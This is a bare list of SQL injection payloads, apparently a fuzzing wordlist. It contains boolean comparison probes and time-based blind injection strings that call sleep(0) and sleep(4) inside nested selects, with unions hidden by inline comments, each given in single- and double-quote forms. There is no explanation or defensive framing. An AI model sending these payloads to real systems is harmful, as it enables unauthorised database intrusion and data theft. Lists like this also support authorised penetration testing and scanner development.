'and'q'='e

"and"o"="o

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

'and(select*from(select+sleep(4))a/**/union/**/select+1)='

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

"and(select*from(select+sleep(4))a/**/union/**/select+1)="